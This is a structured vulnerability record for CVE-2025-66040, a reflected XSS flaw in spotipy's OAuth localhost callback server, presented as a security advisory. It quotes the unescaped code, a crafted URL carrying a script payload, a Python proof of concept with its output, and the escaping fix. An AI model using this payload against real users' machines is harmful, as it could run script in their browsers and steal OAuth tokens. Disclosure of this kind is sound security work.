{"id":"CVE-2025-66040","aliases":["GHSA-r77h-rpp9-w2xm","PYSEC-2026-1937"],"title":"Spotipy has a XSS vulnerability in its OAuth callback server","summary":"Spotipy has a XSS vulnerability in its OAuth callback server","severity":"low","cvss":3.6,"cvssVector":"CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N","vendor":"spotipy","product":"spotipy","ecosystem":"pip","affected":["spotipy < 2.25.2"],"patched":["spotipy 2.25.2"],"published":"2025-12-01","updated":"2026-07-07","source":"OSV","sourceUrl":"https://osv.dev/vulnerability/GHSA-r77h-rpp9-w2xm","references":[{"url":"https://github.com/spotipy-dev/spotipy/security/advisories/GHSA-r77h-rpp9-w2xm"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-66040"},{"url":"https://github.com/spotipy-dev/spotipy/commit/880b92d7243dcf2b83bf31dc365a858d8b5e6767"},{"url":"https://github.com/spotipy-dev/spotipy"}],"tags":["osv","pip"],"epss":0.00156,"epssPercentile":0.05198,"ingestedAt":"2026-07-08T18:25:52.669Z","slug":"CVE-2025-66040","body":"## Overview\n\n### Summary\nXSS vulnerability in OAuth callback server allows JavaScript injection through unsanitized error parameter. Attackers can execute arbitrary JavaScript in the user's browser during OAuth authentication.\n\n\n### Details\n**Vulnerable Code:** `spotipy/oauth2.py` lines 1238-1274 (RequestHandler.do_GET)\n\n**The Problem:**\nDuring OAuth flow, spotipy starts a local HTTP server to receive callbacks. The server reflects the `error` URL parameter directly into HTML without sanitization.\n\n**Vulnerable code at line 1255:**\n```python\nstatus = f\"failed ({self.server.error})\"\n```\n\n**Then embedded in HTML at line 1265:**\n```python\nself._write(f\"\"\"<html>\n<body>\n<h1>Authentication status: {status}</h1>\n</body>\n</html>\"\"\")\n```\n\nThe `error` parameter comes from URL parsing (lines 388-393) without HTML escaping, allowing script injection.\n\n**Attack Flow:**\n1. User starts OAuth authentication → local server runs on `http://127.0.0.1:8080`\n2. Attacker crafts malicious URL: `http://127.0.0.1:8080/?error=<script>alert(1)</script>&state=x`\n3. User visits URL → JavaScript executes in localhost origin\n\n\n### PoC\n\n**Simple Python Test:**\n```python\n#!/usr/bin/env python3\n# poc_xss.py - Demonstrates XSS in spotipy OAuth callback\n\nimport requests\nfrom spotipy.oauth2 import start_local_http_server\nimport threading\nimport time\n\n# Start vulnerable server in background\ndef start_server():\n    server = start_local_http_server(8080)\n    server.handle_request()\n\nthread = threading.Thread(target=start_server, daemon=True)\nthread.start()\ntime.sleep(2)\n\n# Send XSS payload\npayload = '<script>alert(\"XSS\")</script>'\nurl = f'http://127.0.0.1:8080/?error={payload}&state=test'\n\nresponse = requests.get(url)\nprint(f\"Status: {response.status_code}\")\nprint(f\"\\nHTML Response:\\n{response.text}\")\n\n# Check if vulnerable\nif payload in response.text:\n    print(f\"\\n[!] VULNERABLE: Payload '{payload}' reflected without escaping!\")\nelse:\n    print(\"\\n[+] Safe: Payload was sanitized\")\n```\n\n**Run it:**\n```bash\npip install spotipy requests\npython3 poc_xss.py\n```\n\n**Output shows:**\n```\nStatus: 200\nHTML Response:\n<html>\n<body>\n<h1>Authentication status: failed (<script>alert(\"XSS\")</script>)</h1>\n</body>\n</html>\n\n[!] VULNERABLE: Payload '<script>alert(\"XSS\")</script>' reflected without escaping!\n```\n\n**The Proof:**\n- Expected (safe): `&lt;script&gt;alert(\"XSS\")&lt;/script&gt;`\n- Actual (vulnerable): `<script>alert(\"XSS\")</script>`\n- The script tags are NOT escaped → XSS confirmed\n\n### Impact\n\n**Vulnerability Type:** Cross-Site Scripting (XSS) - CWE-79\n\n**Affected Users:** Anyone using spotipy's OAuth flow with localhost redirect URIs\n\n**Attack Complexity:** Medium-High\n- Requires timing (during brief OAuth window)\n- Localhost-only (127.0.0.1)\n- Requires user interaction (click malicious link)\n\n**Potential Impact:**\n- Execute JavaScript in localhost origin\n- Access other localhost services (port scanning, API calls)\n- Steal data from local web applications\n- Extract OAuth tokens from browser storage\n- Bypass CSRF protections on localhost endpoints\n\n**CVSS 3.1 Score:** 4.2 (Medium)\n- Attack Vector: Local\n- Attack Complexity: High\n- Privileges Required: None\n- User Interaction: Required\n- Scope: Unchanged\n- Confidentiality/Integrity: Low\n\n\n**Recommended Fix:**\n```python\nimport html\n\n# Line 1255 - apply HTML escaping\nif self.server.error:\n    status = f\"failed ({html.escape(str(self.server.error))})\"\n```\n\n## Affected packages\n\n- `spotipy < 2.25.2`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `spotipy 2.25.2`","depth":"sunlit","depthScore":20,"depthScoreParts":{"impact":19.8,"likelihood":0,"exploitation":0,"ransomware":0},"changes":[]}